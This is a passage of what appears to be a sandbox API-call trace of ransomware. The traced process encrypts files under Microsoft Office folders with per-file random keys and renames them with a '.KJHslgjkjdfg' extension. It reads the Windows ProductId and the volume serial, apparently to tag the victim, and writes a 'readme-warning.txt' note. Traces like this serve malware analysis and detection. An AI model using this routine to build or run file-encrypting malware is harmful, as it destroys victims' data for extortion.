nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.632] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.632] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.632] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.633] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.633] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.633] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.633] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.633] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x136b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x136b, lpOverlapped=0x0) returned 1 [0219.634] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1370, dwBufLen=0x1370 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1370) returned 1 [0219.634] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.634] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1370, lpOverlapped=0x0) returned 1 [0219.634] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.634] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.634] SetEndOfFile (hFile=0x138) returned 1 [0219.637] GetProcessHeap () returned 0x990000 [0219.637] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.637] GetProcessHeap () returned 0x990000 [0219.637] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.kjhslgjkjdfg")) returned 1 [0219.639] CloseHandle (hObject=0x138) returned 1 [0219.639] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0219.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.640] GetProcessHeap () returned 0x990000 [0219.640] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.640] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.640] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.641] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0219.643] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.643] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.643] GetProcessHeap () returned 0x990000 [0219.643] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.643] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.643] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.643] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.643] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.643] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.643] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.643] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.644] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.644] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.644] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.644] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.644] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xbc4, lpOverlapped=0x0) returned 1 [0219.644] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbd0) returned 1 [0219.644] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.644] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xbd0, lpOverlapped=0x0) returned 1 [0219.644] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.644] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.644] SetEndOfFile (hFile=0x138) returned 1 [0219.647] GetProcessHeap () returned 0x990000 [0219.647] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.647] GetProcessHeap () returned 0x990000 [0219.647] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.kjhslgjkjdfg")) returned 1 [0219.648] CloseHandle (hObject=0x138) returned 1 [0219.649] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0219.649] GetProcessHeap () returned 0x990000 [0219.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.649] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0219.649] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0219.649] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.649] GetProcessHeap () returned 0x990000 [0219.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0219.649] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0219.649] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0219.649] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.649] GetProcessHeap () returned 0x990000 [0219.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b1eb0 [0219.649] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0219.649] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1eb0, pdwDataLen=0x29dee20 | out: pbData=0x9b1eb0, pdwDataLen=0x29dee20) returned 1 [0219.649] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.649] GetProcessHeap () returned 0x990000 [0219.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0219.649] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0219.650] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0219.650] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.650] GetProcessHeap () returned 0x990000 [0219.650] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0219.650] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0219.650] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29dea00 | out: pbData=0x9b18a0, pdwDataLen=0x29dea00) returned 1 [0219.650] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.650] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x138) returned 0x0 [0219.650] RegQueryValueExA (in: hKey=0x138, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0219.650] RegCloseKey (hKey=0x138) returned 0x0 [0219.650] GetProcessHeap () returned 0x990000 [0219.650] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0219.650] GetProcessHeap () returned 0x990000 [0219.650] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0219.650] GetProcessHeap () returned 0x990000 [0219.650] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0219.650] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0219.650] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29de7d4 | out: pbData=0x9b18a0, pdwDataLen=0x29de7d4) returned 1 [0219.650] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.650] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0219.650] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0219.651] GetProcessHeap () returned 0x990000 [0219.651] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0219.651] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0219.651] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0219.651] GetProcessHeap () returned 0x990000 [0219.651] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9dc608 [0219.651] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\readme-warning.txt") returned 82 [0219.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\readme-warning.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.653] WriteFile (in: hFile=0x138, lpBuffer=0x9dc608*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9dc608*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0219.654] CloseHandle (hObject=0x138) returned 1 [0219.654] GetProcessHeap () returned 0x990000 [0219.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0219.654] GetProcessHeap () returned 0x990000 [0219.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc608 | out: hHeap=0x990000) returned 1 [0219.654] GetProcessHeap () returned 0x990000 [0219.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0219.654] GetProcessHeap () returned 0x990000 [0219.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.654] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0219.654] GetProcessHeap () returned 0x990000 [0219.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc90 | out: hHeap=0x990000) returned 1 [0219.654] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0219.654] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0219.654] GetProcessHeap () returned 0x990000 [0219.654] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4728 | out: hHeap=0x990000) returned 1 [0219.654] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0219.655] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0219.655] GetProcessHeap () returned 0x990000 [0219.655] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0xa03c78 | out: hHeap=0x990000) returned 1 [0219.655] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9db89b0, ftCreationTime.dwHighDateTime=0x1d59530, ftLastAccessTime.dwLowDateTime=0x27b7b540, ftLastAccessTime.dwHighDateTime=0x1d56652, ftLastWriteTime.dwLowDateTime=0x27b7b540, ftLastWriteTime.dwHighDateTime=0x1d56652, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="curious.exe", cAlternateFileName="")) returned 1 [0219.655] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0219.655] GetProcessHeap () returned 0x990000 [0219.655] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7a) returned 0x9b2468 [0219.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0219.658] GetProcessHeap () returned 0x990000 [0219.658] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0219.658] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0219.660] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0219.660] GetProcessHeap () returned 0x990000 [0219.660] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27c) returned 0x9b4728 [0219.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0219.662] GetProcessHeap () returned 0x990000 [0219.662] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.662] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.663] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0219.663] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0219.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.664] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.664] GetProcessHeap () returned 0x990000 [0219.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.664] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0219.664] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0219.664] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0219.664] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0219.665] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0219.665] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0219.665] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0219.665] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0219.665] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0219.665] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.665] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.665] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd0aa, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xd0aa, lpOverlapped=0x0) returned 1 [0219.667] CryptEncrypt (in: 